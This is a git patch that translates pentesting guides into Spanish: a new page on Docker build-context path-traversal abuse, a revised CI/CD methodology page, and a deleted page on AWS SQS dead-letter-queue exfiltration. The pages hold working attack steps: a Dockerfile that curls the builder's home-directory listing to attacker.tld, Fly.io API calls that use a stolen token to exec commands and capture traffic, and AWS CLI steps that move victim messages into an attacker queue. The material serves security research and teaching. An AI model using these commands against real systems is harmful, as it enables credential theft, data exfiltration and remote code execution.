From 1e4be0edf4f4d9d1d4587cec8afcd89c42644489 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 16:11:55 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 101 ++++++++++++ .../pentesting-ci-cd-methodology.md | 95 ++++++----- .../aws-sqs-dlq-redrive-exfiltration.md | 154 ------------------ 3 files changed, 152 insertions(+), 198 deletions(-) create mode 100644 src/pentesting-ci-cd/docker-build-context-abuse.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md new file mode 100644 index 000000000..bbd4a6a7b --- /dev/null +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -0,0 +1,101 @@ +# Abuso del Docker Build Context en Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) + +{{#include ../banners/hacktricks-training.md}} + +## TL;DR + +Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el context en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrar secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens de registry robados también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización. + +## Superficie de ataque + +Muchos servicios hosted builder/registry realizan más o menos esto al construir imágenes enviadas por usuarios: +- Leer una configuración a nivel de repo que incluye: + - build context path (enviado al Docker daemon) + - Dockerfile path relative to that context +- Copiar el directorio de build context indicado y el Dockerfile al Docker daemon +- Construir la imagen y ejecutarla como un servicio alojado + +Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user pasen a formar parte del build context y estén disponibles para COPY en el Dockerfile. + +Restricciones prácticas comúnmente observadas: +- El Dockerfile debe residir dentro de la context path elegido y su ruta debe conocerse de antemano. +- El build user debe tener acceso de lectura a los archivos incluidos en el context; los archivos de dispositivo especiales pueden romper la copia. + +## PoC: Path traversal via Docker build context + +Example malicious server config declaring a Dockerfile within the parent directory context: +```yaml +runtime: "container" +build: +dockerfile: "test/Dockerfile" # Must reside inside the final context +dockerBuildPath: ".." # Path traversal to builder user $HOME +startCommand: +type: "http" +configSchema: +type: "object" +properties: +apiKey: +type: "string" +required: ["apiKey"] +exampleConfig: +apiKey: "sk-example123" +``` +Notas: +- El uso de ".." a menudo resuelve al home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles. +- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto expandido del directorio padre. + +## PoC: Dockerfile para ingest y exfiltrate el contexto del host +```dockerfile +FROM alpine +RUN apk add --no-cache curl +RUN mkdir /data +COPY . /data # Copies entire build context (now builder’s $HOME) +RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) +``` +Objetivos comúnmente recuperados desde $HOME: +- ~/.docker/config.json (registry auths/tokens) +- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) + +Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto del lado de la plataforma vulnerable sigue gobernando qué se envía al daemon. Si la plataforma copia la ruta seleccionada al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse. + +## Pivot en la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API) + +Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la provider API. + +Ejemplos de llamadas API contra Fly.io Machines API usando el token robado de ~/.docker/config.json: + +Enumerar apps en una org: +```bash +curl -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps?org_slug=smithery" +``` +Ejecutar un comando como root dentro de cualquier máquina de una aplicación: +```bash +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' +``` +Resultado: org-wide remote code execution en todas las aplicaciones alojadas donde el token tenga suficientes privilegios. + +## Robo de secretos desde servicios alojados comprometidos + +Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar ataques de prompt-injection. Ejemplo: instala tcpdump y captura tráfico HTTP en port 8080 para extraer inbound credentials. +```bash +# Install tcpdump inside the machine +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' + +# Capture traffic +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' +``` +Las solicitudes capturadas a menudo contienen credenciales de cliente en los encabezados, los cuerpos o los parámetros de consulta. + +## Referencias + +- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) +- [Fly.io Machines API](https://fly.io/docs/machines/api/) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 291a78890..cdb420dea 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Metodología de Pentesting CI/CD {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS significa **Version Control System**, estos sistemas permiten a los desarrolladores **gestionar su source code**. El más común es **git** y normalmente encontrarás empresas usándolo en una de las siguientes **platforms**: +VCS significa **Version Control System**, estos sistemas permiten a los desarrolladores **manage their source code**. El más común es **git** y normalmente encontrarás empresas usándolo en una de las siguientes **plataformas**: - Github - Gitlab @@ -16,90 +16,97 @@ VCS significa **Version Control System**, estos sistemas permiten a los desarrol - Cloud providers (they offer their own VCS platforms) -## CI/CD Pipelines +## Pipelines de CI/CD -CI/CD pipelines permiten a los desarrolladores **automatizar la ejecución del code** para varios propósitos, incluyendo build, test y deploy de aplicaciones. Estos workflows automatizados se **disparan por acciones específicas**, como code pushes, pull requests, o tareas programadas. Son útiles para optimizar el proceso desde el desarrollo hasta production. +Los pipelines de CI/CD permiten a los desarrolladores **automatizar la ejecución de code** para diversos fines, incluyendo building, testing y deploying de aplicaciones. Estos workflows automatizados se **disparan por acciones específicas**, como code pushes, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta producción. -Sin embargo, estos sistemas necesitan ser **ejecutados en algún lado** y normalmente con **credenciales privilegiadas para deploy code o acceder a información sensible**. +Sin embargo, estos sistemas necesitan **ejecutarse en algún lugar** y normalmente con **credenciales privilegiadas para deploy code o acceder a información sensible**. ## VCS Pentesting Methodology > [!NOTE] -> Incluso si algunas VCS platforms permiten crear pipelines para esta sección vamos a analizar solo ataques potenciales al control del source code. +> Aunque algunas plataformas VCS permiten crear pipelines, en esta sección vamos a analizar únicamente ataques potenciales al control del source code. -Las platforms que contienen el source code de tu proyecto contienen información sensible y la gente debe tener mucho cuidado con los permisos otorgados dentro de esa platform. Estos son algunos problemas comunes en VCS platforms que un atacante podría abusar: +Las plataformas que contienen el source code de tu proyecto contienen información sensible y hay que tener mucho cuidado con los permisos concedidos dentro de la plataforma. Estos son algunos problemas comunes en plataformas VCS que un atacante podría abusar: - **Leaks**: Si tu code contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. -- **Access**: Si un atacante puede **acceder a una cuenta dentro de la VCS platform** podría obtener **más visibilidad y permisos**. -- **Register**: Algunas platforms simplemente permiten a usuarios externos crear una cuenta. -- **SSO**: Algunas platforms no permiten registro, pero permiten que cualquiera entre con un SSO válido (por ejemplo un atacante podría usar su cuenta de github para entrar). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna forma a un repo. -- **Webhooks**: VCS platforms permiten generar webhooks. Si no están **protegidos** con secretos no visibles un **atacante podría abusar de ellos**. -- Si no hay un secret en su lugar, el atacante podría abusar del webhook de la plataforma de terceros -- Si el secret está en la URL, sucede lo mismo y el atacante además tendría el secret -- **Code compromise:** Si un actor malicioso tiene algún tipo de **write** access sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito podría necesitar **bypassear branch protections**. Estas acciones pueden realizarse con distintos objetivos: -- Comprometer la main branch para **comprometer production**. -- Comprometer la main (u otras branches) para **comprometer las máquinas de los developers** (ya que suelen ejecutar tests, terraform u otras cosas del repo en sus máquinas). -- **Comprometer el pipeline** (revisa la siguiente sección) +- **Access**: Si un atacante puede **access a una cuenta dentro de la plataforma VCS** podría obtener **más visibilidad y permisos**. +- **Register**: Algunas plataformas simplemente permiten a usuarios externos crear una cuenta. +- **SSO**: Algunas plataformas no permiten registro, pero permiten a cualquiera acceder con un SSO válido (así que un atacante podría usar su cuenta de github para entrar, por ejemplo). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo. +- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secrets no visibles, un **attacker could abuse them**. +- If no secret is in place, the attacker could abuse the webhook of the third party platform +- If the secret is in the URL, the same happens and the attacker also have the secret +- **Code compromise:** Si un actor malicioso tiene algún tipo de **write** access sobre los repos, podría intentar **inject malicious code**. Para tener éxito puede necesitar **bypass branch protections**. Estas acciones pueden realizarse con diferentes objetivos en mente: + - Comprometer la rama main para **compromise production**. + - Comprometer la main (u otras branches) para **compromise developers machines** (ya que normalmente ejecutan tests, terraform u otras cosas dentro del repo en sus máquinas). +- **Compromise the pipeline** (check next section) ## Pipelines Pentesting Methodology -La forma más común de definir un pipeline es usando un **CI configuration file alojado en el repository** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, condiciones que afectan el flujo, y la configuración del build environment.\ -Estos archivos típicamente tienen un nombre y formato consistente, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los GitHub Actions YAML files ubicados bajo .github/workflows. Cuando se dispara, el pipeline job **pulls the code** desde la fuente seleccionada (p. ej. commit / branch), y **ejecuta los comandos especificados en el CI configuration file** contra ese code. +La forma más común de definir un pipeline es usando un **CI configuration file hosted in the repository** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, las condiciones que afectan el flujo y la configuración del entorno de build.\ +Estos archivos típicamente tienen un nombre y formato consistente, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se dispara, el job del pipeline **pulls the code** desde la fuente seleccionada (p. ej. commit / branch), y **ejecuta los comandos especificados en el CI configuration file** contra ese code. -Por lo tanto el objetivo final del atacante es de alguna manera **comprometer esos configuration files** o los **comandos que ejecutan**. +Por tanto, el objetivo último del atacante es de alguna forma **comprometer esos archivos de configuración** o los **comandos que ejecutan**. + +> [!TIP] +> Algunos hosted builders permiten a los contributors elegir el Docker build context y la ruta del Dockerfile. Si el context está controlado por el atacante, puedes situarlo fuera del repo (p. ej., "..") para ingerir archivos del host durante el build y exfiltrar secrets. See: +> +>{{#ref}} +>docker-build-context-abuse.md +>{{#endref}} ### PPE - Poisoned Pipeline Execution -El Poisoned Pipeline Execution (PPE) explota permisos en un SCM repository para manipular un CI pipeline y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar CI configuration files u otros archivos usados por el pipeline job para incluir comandos maliciosos. Esto "envenena" el CI pipeline, llevando a la ejecución de esos comandos maliciosos. +La Poisoned Pipeline Execution (PPE) explota permisos en un SCM repository para manipular un CI pipeline y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar CI configuration files u otros archivos usados por el job del pipeline para incluir comandos maliciosos. Esto "poisons" el CI pipeline, llevando a la ejecución de dichos comandos maliciosos. -Para que un actor malicioso tenga éxito realizando un PPE necesita poder: +Para que un actor malicioso tenga éxito realizando un ataque PPE necesita poder: -- Tener **write access to the VCS platform**, ya que usualmente los pipelines se disparan cuando se realiza un push o un pull request. (Revisa la VCS pentesting methodology para un resumen de maneras de obtener acceso). -- Nota que a veces un **external PR cuenta como "write access"**. -- Incluso si tiene permisos de write, necesita estar seguro de que puede **modificar el CI config file u otros archivos de los que el config depende**. -- Para esto, podría necesitar poder **bypassear branch protections**. +- Tener **write access to the VCS platform**, ya que usualmente los pipelines se disparan cuando se hace un push o se crea un pull request. (Revisa la VCS pentesting methodology para un resumen de formas de obtener acceso). +- Nota que a veces un **external PR** cuenta como "write access". +- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modify the CI config file or other files the config is relying on**. +- Para esto, puede necesitar **bypass branch protections**. Hay 3 sabores de PPE: - **D-PPE**: Un ataque **Direct PPE** ocurre cuando el actor **modifica el CI config** file que se va a ejecutar. -- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **file** del que el CI config que se va a ejecutar **depende** (como un make file o un terraform config). -- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **triggered por users que no tienen write access en el repo** (y que quizás ni siquiera forman parte de la org) porque pueden enviar un PR. -- **3PE Command Injection**: Usualmente, CI/CD pipelines **set environment variables** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el title del PR) y es **usado** en un **lugar peligroso** (como ejecutar sh commands), un atacante podría **inyectar comandos ahí**. +- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **file** del que el CI config file que se va a ejecutar **depends** (como un Makefile o una terraform config). +- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **triggered by users that don't have write access in the repo** (y que puede que ni siquiera formen parte de la org) porque pueden enviar un PR. +- **3PE Command Injection**: Normalmente, los pipelines establecerán **environment variables** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **usado** en un **sitio peligroso** (por ejemplo ejecutando comandos sh), un atacante podría **inject commands into it**. ### Exploitation Benefits -Conociendo los 3 sabores para envenenar un pipeline, veamos qué podría obtener un atacante tras una explotación exitosa: +Conociendo los 3 sabores para poison a pipeline, veamos qué podría obtener un atacante tras una explotación exitosa: -- **Secrets**: Como se mencionó previamente, los pipelines requieren **privilegios** para sus jobs (retrieve the code, build it, deploy it...) y estos privilegios usualmente se **otorgan en secrets**. Estos secrets suelen ser accesibles vía **env variables o files dentro del sistema**. Por lo tanto un atacante siempre intentará exfiltrar la mayor cantidad de secrets posible. -- Dependiendo de la plataforma de pipeline el atacante **podría necesitar especificar los secrets en el config**. Esto significa que si el atacante no puede modificar la CI configuration pipeline (**I-PPE** por ejemplo), podría **solo exfiltrar los secrets que ese pipeline tenga**. -- **Computation**: El code se ejecuta en algún lado; dependiendo de dónde se ejecute un atacante podría pivotar más. -- **On-Premises**: Si los pipelines se ejecutan On-Premises, un atacante podría terminar en una **red interna con acceso a más recursos**. -- **Cloud**: El atacante podría acceder a **otras máquinas en la cloud** pero también podría **exfiltrar** IAM roles/service accounts **tokens** de allí para obtener **más acceso dentro del cloud**. -- **Platforms machine**: A veces los jobs se ejecutan dentro de las **máquinas de la plataforma de pipelines**, que usualmente están en una cloud sin **acceso adicional**. -- **Select it:** A veces la **platform de pipelines tendrá varias máquinas configuradas** y si puedes **modificar el CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para intentar explotarla más. -- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y deploya desde ahí, podrías **comprometer el code que terminará corriendo en production**. +- **Secrets**: Como se mencionó anteriormente, los pipelines requieren **privilegios** para sus jobs (recuperar el code, build, deploy...) y estos privilegios suelen ser **almacenados en secrets**. Estos secrets suelen ser accesibles vía **env variables or files inside the system**. Por tanto un atacante siempre intentará exfiltrar tantos secrets como sea posible. +- Dependiendo de la plataforma del pipeline el atacante **podría necesitar especificar los secrets en la config**. Esto significa que si el atacante no puede modificar el CI configuration pipeline (**I-PPE** por ejemplo), solo podría **exfiltrar los secrets que ese pipeline tenga**. +- **Computation**: El code se ejecuta en algún lugar; dependiendo de dónde se ejecute, un atacante podría pivotar más. +- **On-Premises**: Si los pipelines se ejecutan on-premises, un atacante podría acabar en una **internal network con acceso a más recursos**. +- **Cloud**: El atacante podría acceder a **otras máquinas en la cloud** pero también podría **exfiltrar** tokens de IAM roles/service accounts para obtener **más acceso dentro del cloud**. +- **Platforms machine**: A veces los jobs se ejecutan dentro de las máquinas de la **pipelines platform**, que normalmente están en una cloud sin acceso adicional. +- **Select it:** A veces la **pipelines platform** tendrá configuradas varias máquinas y si puedes **modify the CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para intentar explotarla más. +- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y se deploya desde él, podrías **comprometer el code que terminará ejecutándose en producción**. -## More relevant info +## Más información relevante ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta open-source para auditar tu software supply chain stack por seguridad y cumplimiento basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se enfoca en todo el SDLC, donde puede revelar riesgos desde code time hasta deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu software supply chain stack en busca de cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el time of code hasta el deploy. ### Top 10 CI/CD Security Risk -Revisa este artículo interesante sobre los top 10 CI/CD risks según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Consulta este artículo interesante sobre los top 10 CI/CD risks según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- En cada platform que puedas ejecutar localmente encontrarás cómo lanzarla localmente para que puedas configurarla como quieras y probarla +- En cada plataforma que puedas correr localmente encontrarás cómo lanzarla localmente para que puedas configurarla como quieras y probarla - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis estático para infrastructure-as-code. -## References +## Referencias - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md deleted file mode 100644 index c89c84740..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ /dev/null @@ -1,154 +0,0 @@ -# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask - -{{#include ../../../banners/hacktricks-training.md}} - -## Description - -Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han ido acumulando en las DLQs con el tiempo. - -## What is a Dead-Letter Queue (DLQ)? - -Una Dead-Letter Queue es una cola SQS especial donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen: -- Datos sensibles de la aplicación que no pudieron ser procesados -- Detalles de errores e información de depuración -- Información de Identificación Personal (PII) -- Tokens de API, credenciales u otros secretos -- Datos de transacciones críticos para el negocio - -Las DLQs actúan como un "cementerio" para mensajes fallidos, lo que las convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente. - -## Attack Scenario - -**Real-world example:** -1. **Aplicación de e-commerce** procesa pedidos de clientes a través de SQS -2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a una DLQ -3. **La DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **El atacante consigue acceso** a credenciales de AWS con permisos SQS -5. **El atacante descubre** que la DLQ contiene miles de pedidos fallidos con datos sensibles -6. **En lugar de intentar acceder a mensajes individuales** (lento y evidente), el atacante utiliza `StartMessageMoveTask` para transferir en masa TODOS los mensajes a su propia cola -7. **El atacante extrae** todos los datos sensibles históricos en una sola operación - -## Requirements -- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de cola). -- IAM permissions (run as the compromised victim principal): -- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- En la cola destino: permiso para entregar mensajes (p. ej., política de cola que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta esto suele permitirse por defecto. -- Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`. - -## Impact -Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la cola destino permite `SendMessage` desde el principal víctima. - -## How to Abuse - -- Identificar el ARN de la DLQ víctima y asegurarse de que realmente esté referenciada como DLQ por alguna cola (cualquier cola sirve). -- Crear o elegir una cola destino controlada por el atacante y obtener su ARN. -- Iniciar una tarea de movimiento de mensajes desde la DLQ víctima hacia tu cola destino. -- Monitorizar el progreso o cancelar si es necesario. - -### CLI Example: Exfiltrating Customer Data from E-commerce DLQ - -**Scenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes. - -1) **Descubrir y examinar la DLQ víctima** -```bash -# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) -aws sqs list-queues --queue-name-prefix dlq - -# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq -VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" -SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -# Check how many messages are in the DLQ (potential treasure trove!) -aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ ---attribute-names ApproximateNumberOfMessages -# Output might show: "ApproximateNumberOfMessages": "1847" -``` -2) **Crear una cola de destino controlada por el atacante** -```bash -# Create our exfiltration queue -ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) -ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -echo "Created exfiltration queue: $ATTACKER_Q_ARN" -``` -3) **Ejecutar el robo masivo de mensajes** -```bash -# Start moving ALL messages from victim DLQ to our queue -# This operation will transfer thousands of failed orders containing customer data -echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" -TASK_RESPONSE=$(aws sqs start-message-move-task \ ---source-arn "$SRC_ARN" \ ---destination-arn "$ATTACKER_Q_ARN" \ ---max-number-of-messages-per-second 100) - -echo "Move task started: $TASK_RESPONSE" - -# Monitor the theft progress -aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 -``` -4) **Recopilar los datos sensibles robados** -```bash -# Receive the exfiltrated customer data -echo "Receiving stolen customer data..." -aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---attribute-names All --message-attribute-names All \ ---max-number-of-messages 10 --wait-time-seconds 5 - -# Example of what an attacker might see: -# { -# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", -# "MessageId": "12345-abcd-6789-efgh" -# } - -# Continue receiving all messages in batches -while true; do -MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---max-number-of-messages 10 --wait-time-seconds 2 --output json) - -if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then -echo "No more messages - exfiltration complete!" -break -fi - -echo "Received batch of stolen data..." -# Process/save the stolen customer data -echo "$MESSAGES" >> stolen_customer_data.json -done -``` -### Notas de cuentas cruzadas -- La cola de destino debe tener una política de recursos que permita al principal de la víctima `sqs:SendMessage` (y, si se usan, KMS grants/permissions). - -## Por qué este ataque es efectivo - -1. **Característica legítima de AWS**: Usa funcionalidad integrada de AWS, lo que dificulta detectarlo como malicioso -2. **Operación por lotes**: Transfiere miles de mensajes rápidamente en lugar de accederlos individualmente y de forma lenta -3. **Datos históricos**: DLQs acumulan datos sensibles durante semanas/meses -4. **Fuera del radar**: Muchas organizaciones no monitorizan de cerca el acceso a las DLQs -5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta AWS del atacante si los permisos lo permiten - -## Detección y prevención - -### Detección -Monitoriza CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosas: -```json -{ -"eventName": "StartMessageMoveTask", -"sourceIPAddress": "suspicious-ip", -"userIdentity": { -"type": "IAMUser", -"userName": "compromised-user" -}, -"requestParameters": { -"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", -"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" -} -} -``` -### Prevención -1. **Principio de menor privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios -2. **Supervisar DLQs**: Configurar alarmas de CloudWatch para actividad inusual en las DLQs -3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de colas SQS que permitan acceso entre cuentas -4. **Cifrar DLQs**: Usar SSE-KMS con políticas de claves restringidas -5. **Limpieza periódica**: No permitir que datos sensibles se acumulen en las DLQs indefinidamente - -{{#include ../../../banners/hacktricks-training.md}}